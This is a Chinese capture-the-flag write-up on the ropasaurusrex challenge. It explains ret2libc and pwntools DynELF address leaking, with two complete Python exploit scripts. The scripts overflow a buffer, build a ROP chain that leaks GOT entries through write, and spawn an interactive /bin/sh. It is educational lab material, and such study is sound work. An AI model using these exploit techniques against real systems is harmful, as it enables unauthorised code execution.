前提了解
1.我们知道,不同版本的libc
,函数首地址相对于文件开头的偏移和函数间的偏移不一定一致。所以如果题目不提供libc
,通过泄露任意一个库函数地址计算出system
函数地址的方法就不好使了。这就要求我们想办法获取目标系统的libc。
2.DynELF
通过程序漏洞泄露出任意地址内容,结合ELF
文件的结构特征获取对应版本文件并计算比对出目标符号在内存中的地址。
参考来自:
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42933&ctid=157
思考
0.不用考虑上面的文字
1.我们一上来在可执行文件了搜索,没有发现system
和/bin/sh
2.可以泄露libc
基址来确定我们system
的真实地址
3.write
函数,我们可以泄露出我们想要的地址
4.利用write
的性质,我们将read
的返回地址更改为我们write
的地址,然后传入我们的read@got的地址(泄露出read
的真实地址read_addr
),通过write
来泄露出我们的read@got
里的read
的地址。
5.我们利用read
在libc.symbol['read']
的地址,得到libc_base = read_addr - libc.symbol['read']
常用system_addr和bin_sh_addr的偏移算法
libc_base_addr = 泄露函数 - 函数偏移
system_addr = libc_base_addr + system_sym
bin_sh_addr = libc_base_addr + bin_sh_addr
手工作图便于理解

EXP(这是给我们libc的情况下)(重点是看EXP_V2 ) 这个脚本可以作为理论补充知识
#coding:utf-8
from pwn import*
#p = process('./ropasaurusrex') //等同于下一条指令 在远程调试最好加上下一条指令
p = process('ropasaurusrex',env={'LD_PRELOAD':'./libc.so.6'}) //在运行时先调用 libc.so.6动态链接库
libc = ELF('./libc.so.6')
pe = ELF('./ropasaurusrex')
read_plt = pe.plt['read']
read_got = pe.got['read']
write_plt = pe.plt['write']
write_got = pe.got['write']
system_sym = libc.sym['system']
read_sym = libc.sym['read']
bin_sh_addr = 0x0015902b
print ("*************************")
print "[+]read_plt:" + hex(read_plt)
print "[+]read_got:" + hex(read_got)
print "[+]write_plt]:" + hex(write_plt)
print "[+]write_got:" + hex(write_got)
print "[+]system_sym:" + hex(system_sym)
print "[+]read_sym:" + hex(read_sym)
print "[+]bin_sh_addr:" +hex(bin_sh_addr)
print ("*************************")
pop_3_ret_addr = 0x80484b6 //ROPgadget --binary libc.so.6 --string "/bin/sh" 查看的方法很多
sub_80483F4 = 0x080483F4 //read的主函数
payload = 'A'*0x88
payload += p32(0)
payload += p32(write_plt)
payload += p32(pop_3_ret_addr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(sub_80483F4)
payload = payload.ljust(0x100,'A') //接收字符串,小于0x100的用'A'来补齐
p.send(payload)
read_addr = u32(p.recv())
libc_base_addr = read_addr - read_sym
system_addr = libc_base_addr + system_sym
bin_sh_addr = libc_base_addr + bin_sh_addr
print ("*************************")
print "[+]system:" + hex(system_addr)
print "[+]bin_sh:" + hex(bin_sh_addr)
print ("*************************")
payload1 = 'A'*0x88
payload1 += p32(0)
payload1 += p32(system_addr)
payload1 += p32(0)
payload1 += p32(bin_sh_addr)
p.sendline(payload1)
p.interactive()
不知道libc的版本的情况下,泄露libc
1.先注意做题的环境,pip要更新(后期跑脚本出现了问题)
//修改前 from pip import
main if __name__ == '__main__':
sys.exit(main())
修改后 from pip import __main__ //这行也要修改
if __name__ == '__main__':
sys.exit(__main__._main())//增加__main__._
更改后最后在终端输入pip -V,默认版本
2.跑脚本的时候会出现这个问题:参考:https://www.cnblogs.com/zhaijiahui/p/7344778.html
思路:
1.我们利用write
泄露程序的内存加载地址,然后通过脚本在服务器libc中查找我们的system
和read
地址。
2.我们在有没libc
文件的时候只能充分利用 函数@plt
的性质
3.泄露出system
和read
,我们进行布局,read
作为一个开门
,read_ret
作为关门
(system)。 只要等待我们想要进来的猎物我们就可以进行关门
操作 (有一种守株待兔的感觉
)
EXP_V2(无libc)
#/usr/bin/python
#coding:utf-8
from pwn import*
p = process('./ropasaurusrex')
elf = ELF('./ropasaurusrex')
write_plt_addr = elf.symbols['write']
start_addr = 0x8048340
write_bin_sh_addr = 0x8049700 ##疑惑 虽然栈内不可以写 为什么超过最大地址的位置可以作为写入/bin/sh的地址
def leak(addr):
payload = ''
payload += 'A' * 140
payload += p32(write_plt_addr)
payload += p32(start_addr) #将write的返回地址改为start 不至于程序退出
payload += p32(1) #fd 文件标识符
payload += p32(addr) #需要泄露内存加载的范围地址 为//EFL('')
payload += p32(8) ##字节大小
p.sendline(payload)
content = p.recv()[:8]
print ("%#x -> %s"%(addr,(content or '').encode('hex')))
return content
d = DynELF(leak,elf = elf)
print "*********************"
system_addr = d.lookup('system','libc')
read_addr = d.lookup('read','libc')
log.info("[+]system_addr = %#x",system_addr)
log.info("[+]read_addr = %#x",read_addr)
print "*********************"
payload = ''
payload += 'A'*140
payload += p32(read_addr)
payload += p32(system_addr) ##上同
payload += p32(0)
payload += p32(write_bin_sh_addr)
payload += p32(8) //我们将read函数作为一个精心构造的输入门口
当我们下一次往里面输入字符串的时候引发我们system('/bin/sh')
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()
网友评论